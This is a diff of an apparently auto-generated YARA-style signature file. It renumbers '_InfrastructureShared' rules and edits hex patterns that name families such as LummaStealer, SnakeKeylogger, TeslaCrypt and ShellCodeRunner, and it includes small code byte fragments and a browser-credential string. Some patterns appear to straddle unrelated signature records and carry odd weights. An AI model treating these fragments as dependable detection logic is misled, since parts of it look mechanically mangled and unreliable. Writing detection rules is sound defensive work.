41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 65 6e 65 72 69 63 5f 34 30 38 39 39 63 38 35 00 01 00 10 01 5f 73 71 6c 44 61 74 61 54 79 70 65 53 69 } //8300 - $a_00_3 = {0d } //25978 + $a_00_1 = {ff 00 00 00 00 78 61 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 38 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 } //-15221 + $a_90_2 = {01 00 22 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 00 00 d0 04 00 00 9c 00 00 00 00 00 00 00 90 01 02 00 00 10 90 00 00 00 78 61 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 57 61 72 65 2e 44 21 62 69 74 00 01 00 0b 01 63 61 6e 63 65 6c 20 68 6f 6f 6b 01 00 09 01 61 64 64 66 69 72 65 6e 64 01 00 14 01 74 65 6e 63 65 6e 74 3a 2f 2f 41 64 64 43 6f 6e 74 61 63 74 00 00 78 61 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 65 6e 65 72 69 63 5f 34 30 38 39 39 63 38 35 00 01 00 10 01 5f 73 71 6c 44 61 74 61 54 79 70 65 53 69 7a 65 01 00 0d 01 43 68 72 6f 6d 65 47 65 74 4e 61 6d 65 } //0 + $a_01_3 = {67 65 74 5f 6f 73 5f 63 72 79 70 74 } //1 get_os_crypt condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-15221+(#a_6f_2 & 1)*8300+(#a_00_3 & 1)*25978) >=2 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-15221+(#a_90_2 & 1)*0+(#a_01_3 & 1)*1) >=2 } -rule _InfrastructureShared_5453{ +rule _InfrastructureShared_5696{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 38 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 40 00 00 e0 90 00 01 00 22 03 50 45 00 00 4c 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0b 01 0e 00 00 d0 04 00 00 9c 00 00 00 00 00 00 00 ?? ?? 00 00 10 } //18467 + $a_61_1 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 57 61 72 65 2e 44 21 62 69 74 00 01 00 0b 01 63 61 6e 63 65 6c 20 68 6f 6f 6b 01 00 09 01 61 64 64 66 69 72 65 6e 64 01 00 14 01 74 65 6e 63 65 6e 74 3a 2f 2f 41 64 64 43 6f 6e 74 61 63 74 00 00 78 61 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=3 + +} +rule _InfrastructureShared_5697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56492,7 +59005,7 @@ rule _InfrastructureShared_5453{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28483) >=3 } -rule _InfrastructureShared_5454{ +rule _InfrastructureShared_5698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56504,7 +59017,7 @@ rule _InfrastructureShared_5454{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*24435+(#a_36_2 & 1)*12654) >=3 } -rule _InfrastructureShared_5455{ +rule _InfrastructureShared_5699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56515,7 +59028,7 @@ rule _InfrastructureShared_5455{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25963) >=3 } -rule _InfrastructureShared_5456{ +rule _InfrastructureShared_5700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56526,7 +59039,7 @@ rule _InfrastructureShared_5456{ ((#a_46_0 & 1)*16675+(#a_12_1 & 1)*1024) >=3 } -rule _InfrastructureShared_5457{ +rule _InfrastructureShared_5701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56537,7 +59050,7 @@ rule _InfrastructureShared_5457{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672) >=3 } -rule _InfrastructureShared_5458{ +rule _InfrastructureShared_5702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56549,7 +59062,7 @@ rule _InfrastructureShared_5458{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_69_2 & 1)*14958) >=3 } -rule _InfrastructureShared_5459{ +rule _InfrastructureShared_5703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56561,7 +59074,7 @@ rule _InfrastructureShared_5459{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_6c_2 & 1)*18223) >=3 } -rule _InfrastructureShared_5460{ +rule _InfrastructureShared_5704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56573,7 +59086,7 @@ rule _InfrastructureShared_5460{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_6c_2 & 1)*18223) >=3 } -rule _InfrastructureShared_5461{ +rule _InfrastructureShared_5705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56585,7 +59098,7 @@ rule _InfrastructureShared_5461{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_6c_2 & 1)*18223) >=3 } -rule _InfrastructureShared_5462{ +rule _InfrastructureShared_5706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56597,7 +59110,7 @@ rule _InfrastructureShared_5462{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_68_2 & 1)*30313) >=3 } -rule _InfrastructureShared_5463{ +rule _InfrastructureShared_5707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56609,7 +59122,7 @@ rule _InfrastructureShared_5463{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_68_2 & 1)*30313) >=3 } -rule _InfrastructureShared_5464{ +rule _InfrastructureShared_5708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56621,7 +59134,7 @@ rule _InfrastructureShared_5464{ ((#a_5f_0 & 1)*25635+(#a_5f_1 & 1)*29811+(#a_5c_2 & 1)*-32754) >=3 } -rule _InfrastructureShared_5465{ +rule _InfrastructureShared_5709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -56633,7 +59146,7 @@ rule _InfrastructureShared_5465{ ((#a_5f_0 & 1)*25635+(#a_54_1 & 1)*13366+(#a_00_2 & 1)*27759) >=3 } -rule _InfrastructureShared_5466{ +rule _InfrastructureShared_5710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -56646,7 +59159,7 @@ rule _InfrastructureShared_5466{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*27905+(#a_00_2 & 1)*4+(#a_54_3 & 1)*19525) >=3 } -rule _InfrastructureShared_5467{ +rule _InfrastructureShared_5711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -56659,7 +59172,7 @@ rule _InfrastructureShared_5467{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_6e_2 & 1)*22330+(#a_53_3 & 1)*11897) >=3 } -rule _InfrastructureShared_5468{ +rule _InfrastructureShared_5712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -56671,7 +59184,7 @@ rule _InfrastructureShared_5468{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*-32501+(#a_2e_2 & 1)*24953) >=4 } -rule _InfrastructureShared_5469{ +rule _InfrastructureShared_5713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -56683,34 +59196,33 @@ rule _InfrastructureShared_5469{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26999+(#a_41_3 & 1)*8448) >=4 } -rule _InfrastructureShared_5470{ +rule _InfrastructureShared_5714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_6f_0 = {72 61 6d 3a 57 69 6e 33 32 2f 4e 65 6f 53 70 79 2e 52 53 31 00 01 00 06 80 01 4e 65 6f 53 70 79 01 00 0b 80 01 5c 53 50 59 5f 53 59 53 54 45 4d 01 00 0a 80 01 53 70 79 43 6f 6e 73 6f 6c 65 01 00 0f 80 01 43 6f 70 79 54 6f 43 6c 69 70 62 6f 61 72 64 00 00 78 61 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //20515 $a_4c_1 = {61 64 65 72 2e 41 21 64 68 61 00 01 00 05 01 ba 5b 40 3a 76 01 00 05 01 ba 03 b9 0f 25 01 00 05 01 ba eb c4 bb 8b 01 00 05 01 ba 3f 79 56 af 01 00 05 01 ba cf 5d cf fd 01 00 05 01 ba e9 96 99 ea 00 00 78 61 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b } //27465 - $a_6f_2 = {67 65 72 2e 45 41 51 53 21 4d 54 42 00 05 00 2b 01 06 08 25 17 58 0c 02 07 91 1a 63 28 ae 00 00 06 9d 06 08 25 17 58 0c 02 07 91 1f 0f 5f 28 ae 00 00 06 9d 07 17 58 0b 07 03 32 d5 00 00 78 61 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 43 21 4d 54 42 00 05 } //31077 - $a_34_3 = {24 } //12800 $ + $a_6f_2 = {67 65 72 2e 45 41 51 53 21 4d 54 42 00 05 00 2b 01 06 08 25 17 58 0c 02 07 91 1a 63 28 ae 00 00 06 9d 06 08 25 17 58 0c 02 07 91 1f 0f 5f 28 ae 00 00 06 9d 07 17 58 0b 07 03 32 d5 00 00 78 61 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 32 00 02 00 16 03 2e 74 68 65 6d 69 64 } //31077 + $a_1c_3 = {00 } //-28575 condition: - ((#a_6f_0 & 1)*20515+(#a_4c_1 & 1)*27465+(#a_6f_2 & 1)*31077+(#a_34_3 & 1)*12800) >=4 + ((#a_6f_0 & 1)*20515+(#a_4c_1 & 1)*27465+(#a_6f_2 & 1)*31077+(#a_1c_3 & 1)*-28575) >=4 } -rule _InfrastructureShared_5471{ +rule _InfrastructureShared_5715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6b 65 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 05 01 ba 5b 40 3a 76 01 00 05 01 ba 03 b9 0f 25 01 00 05 01 ba eb c4 bb 8b 01 00 05 01 ba 3f 79 56 af 01 00 05 01 ba cf 5d cf fd 01 00 } //16675 - $a_e9_1 = {99 ea 00 00 78 61 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 45 41 51 53 21 4d 54 42 00 05 00 2b 01 06 08 25 17 58 0c 02 07 91 1a 63 28 ae 00 00 06 9d 06 08 25 17 58 0c 02 07 91 1f 0f 5f 28 ae 00 00 06 9d 07 17 58 0b 07 03 32 d5 00 00 78 61 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 43 21 4d 54 42 00 05 00 32 01 34 01 24 00 41 80 e4 01 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 80 f4 } //261 - $a_c6_2 = {80 cc 01 41 80 f6 ff 45 } //16641 - $a_88_3 = {00 00 78 61 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4e 52 21 4d 54 42 00 03 00 0e 01 b8 00 80 00 00 e8 } //-6624 - $a_c0_5 = {00 19 01 e8 ec de 00 00 e9 2d ff ff ff 8d b4 26 00 00 00 00 c7 44 24 04 00 00 01 00 00 00 78 61 00 00 06 00 06 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 6c 61 43 72 79 70 74 2e 4e 53 21 4d 54 42 00 03 00 10 03 8b d1 56 8b 35 90 01 04 2b d0 03 f2 8b 15 90 00 01 00 08 01 41 62 6f 72 74 44 6f 63 01 00 06 01 63 6e 42 59 52 69 01 00 06 01 50 66 45 6d 70 45 00 00 78 61 } //-15479 + $a_e9_1 = {99 ea 00 00 78 61 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 45 41 51 53 21 4d 54 42 00 05 00 2b 01 06 08 25 17 58 0c 02 07 91 1a 63 28 ae 00 00 06 9d 06 08 25 17 58 0c 02 07 91 1f 0f 5f 28 ae 00 00 06 9d 07 17 58 0b 07 03 32 d5 00 00 78 61 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 32 00 02 00 16 03 2e 74 68 65 6d 69 64 61 90 01 1c 60 00 00 e0 2e 62 6f 6f 74 90 00 03 00 22 03 50 45 00 00 4c 01 0b 90 01 11 0b 01 0e 1d 00 dc } //261 + $a_03_4 = {00 } //-28672 + $a_00_5 = {00 00 78 61 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4e 52 21 4d 54 42 00 03 00 0e 01 b8 00 80 00 00 e8 d1 dc 00 00 89 c3 85 c0 02 00 19 01 e8 ec de 00 00 e9 2d ff ff ff 8d b4 26 00 00 00 00 c7 44 24 04 00 00 01 00 00 00 78 61 00 00 06 00 06 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 6c 61 43 72 79 70 74 2e 4e } //4096 condition: - ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*261+(#a_c6_2 & 1)*16641+(#a_88_3 & 1)*-6624+(#a_c0_5 & 1)*-15479) >=4 + ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*261+(#a_03_4 & 1)*-28672+(#a_00_5 & 1)*4096) >=4 } -rule _InfrastructureShared_5472{ +rule _InfrastructureShared_5716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -56720,17 +59232,18 @@ rule _InfrastructureShared_5472{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_5473{ +rule _InfrastructureShared_5717{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 43 21 4d 54 42 00 05 00 32 01 34 01 24 00 41 80 e4 01 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 80 f4 01 41 08 c6 } //21539 + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 32 00 02 00 16 03 2e 74 68 65 6d 69 64 61 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 00 00 e0 2e 62 6f 6f 74 90 00 03 00 22 03 50 45 00 00 4c 01 0b ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0b 01 0e 1d 00 dc 04 00 00 e2 01 00 00 00 00 00 ?? ?? ?? 00 00 10 } //18467 + $a_61_1 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 43 6f 64 65 52 75 6e 6e 65 72 2e 4e 52 21 4d 54 42 00 03 00 0e 01 b8 00 80 00 00 e8 d1 dc 00 00 89 c3 85 c0 02 00 19 01 e8 ec de 00 00 e9 2d ff ff ff 8d b4 26 00 00 00 00 c7 44 24 04 00 00 01 00 00 00 78 61 00 00 06 00 06 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d } //0 condition: - ((#a_4c_0 & 1)*21539) >=5 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0) >=5 } -rule _InfrastructureShared_5474{ +rule _InfrastructureShared_5718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -56740,7 +59253,7 @@ rule _InfrastructureShared_5474{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_5475{ +rule _InfrastructureShared_5719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -56752,7 +59265,7 @@ rule _InfrastructureShared_5475{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*20481+(#a_00_3 & 1)*0) >=6 } -rule _InfrastructureShared_5476{ +rule _InfrastructureShared_5720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56762,7 +59275,7 @@ rule _InfrastructureShared_5476{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5477{ +rule _InfrastructureShared_5721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56772,7 +59285,7 @@ rule _InfrastructureShared_5477{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5478{ +rule _InfrastructureShared_5722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56782,7 +59295,7 @@ rule _InfrastructureShared_5478{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5479{ +rule _InfrastructureShared_5723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56792,7 +59305,7 @@ rule _InfrastructureShared_5479{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5480{ +rule _InfrastructureShared_5724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56802,7 +59315,7 @@ rule _InfrastructureShared_5480{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5481{ +rule _InfrastructureShared_5725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56812,7 +59325,7 @@ rule _InfrastructureShared_5481{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5482{ +rule _InfrastructureShared_5726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56822,7 +59335,7 @@ rule _InfrastructureShared_5482{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5483{ +rule _InfrastructureShared_5727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -56832,7 +59345,30 @@ rule _InfrastructureShared_5483{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_5484{ +rule _InfrastructureShared_5728{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 44 79 6e 61 6d 69 63 43 6f 64 65 4c 6f 61 64 69 6e 67 2e 50 52 21 41 4d 54 42 00 0a 00 11 81 01 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 01 00 08 81 01 41 73 73 65 6d 62 6c 79 01 00 0a 81 01 4d 65 74 68 6f 64 49 6e 66 6f } //18467 + $a_61_1 = {00 14 00 14 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 48 4d 21 4d 54 42 00 14 00 19 23 55 8b ec 81 ec 90 01 03 00 c7 45 90 02 ff 8b 90 02 ff 8b 90 01 01 3c 90 00 14 00 18 23 55 8b ec 81 ec 90 01 03 00 c7 45 90 01 01 90 01 04 8b 45 90 1b 01 90 00 00 00 78 62 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f } //0 + $a_57_2 = {6e 36 34 2f 4f 70 61 67 75 65 43 75 6c 76 65 72 74 2e 41 21 64 68 61 00 01 00 2d 03 62 f8 89 c1 48 8d 4d 90 01 01 c7 45 90 01 01 8d 30 f0 49 c7 45 90 01 01 bf c7 7b 4f 66 c7 } //29295 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_57_2 & 1)*29295) >=11 + +} +rule _InfrastructureShared_5729{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 48 4d 21 4d 54 42 00 14 00 19 23 55 8b ec 81 ec 90 01 03 00 c7 45 90 02 ff 8b 90 02 ff 8b 90 01 01 3c 90 00 14 00 18 23 55 8b ec 81 ec 90 01 03 00 c7 } //21539 + $a_01_1 = {90 } //-28603 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28603) >=20 + +} +rule _InfrastructureShared_5730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56842,7 +59378,7 @@ rule _InfrastructureShared_5484{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5485{ +rule _InfrastructureShared_5731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56852,7 +59388,7 @@ rule _InfrastructureShared_5485{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5486{ +rule _InfrastructureShared_5732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56862,7 +59398,7 @@ rule _InfrastructureShared_5486{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5487{ +rule _InfrastructureShared_5733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56872,7 +59408,7 @@ rule _InfrastructureShared_5487{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5488{ +rule _InfrastructureShared_5734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56882,7 +59418,7 @@ rule _InfrastructureShared_5488{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5489{ +rule _InfrastructureShared_5735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56892,7 +59428,7 @@ rule _InfrastructureShared_5489{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5490{ +rule _InfrastructureShared_5736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56902,7 +59438,7 @@ rule _InfrastructureShared_5490{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5491{ +rule _InfrastructureShared_5737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56912,7 +59448,7 @@ rule _InfrastructureShared_5491{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5492{ +rule _InfrastructureShared_5738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56922,7 +59458,7 @@ rule _InfrastructureShared_5492{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5493{ +rule _InfrastructureShared_5739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56932,7 +59468,7 @@ rule _InfrastructureShared_5493{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5494{ +rule _InfrastructureShared_5740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56942,7 +59478,7 @@ rule _InfrastructureShared_5494{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5495{ +rule _InfrastructureShared_5741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56952,7 +59488,7 @@ rule _InfrastructureShared_5495{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5496{ +rule _InfrastructureShared_5742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56962,7 +59498,7 @@ rule _InfrastructureShared_5496{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5497{ +rule _InfrastructureShared_5743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56972,7 +59508,7 @@ rule _InfrastructureShared_5497{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5498{ +rule _InfrastructureShared_5744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56982,7 +59518,7 @@ rule _InfrastructureShared_5498{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5499{ +rule _InfrastructureShared_5745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -56992,7 +59528,7 @@ rule _InfrastructureShared_5499{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5500{ +rule _InfrastructureShared_5746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57002,7 +59538,7 @@ rule _InfrastructureShared_5500{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5501{ +rule _InfrastructureShared_5747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57012,7 +59548,7 @@ rule _InfrastructureShared_5501{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5502{ +rule _InfrastructureShared_5748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57022,7 +59558,7 @@ rule _InfrastructureShared_5502{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5503{ +rule _InfrastructureShared_5749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57032,7 +59568,7 @@ rule _InfrastructureShared_5503{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5504{ +rule _InfrastructureShared_5750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -57042,7 +59578,7 @@ rule _InfrastructureShared_5504{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5505{ +rule 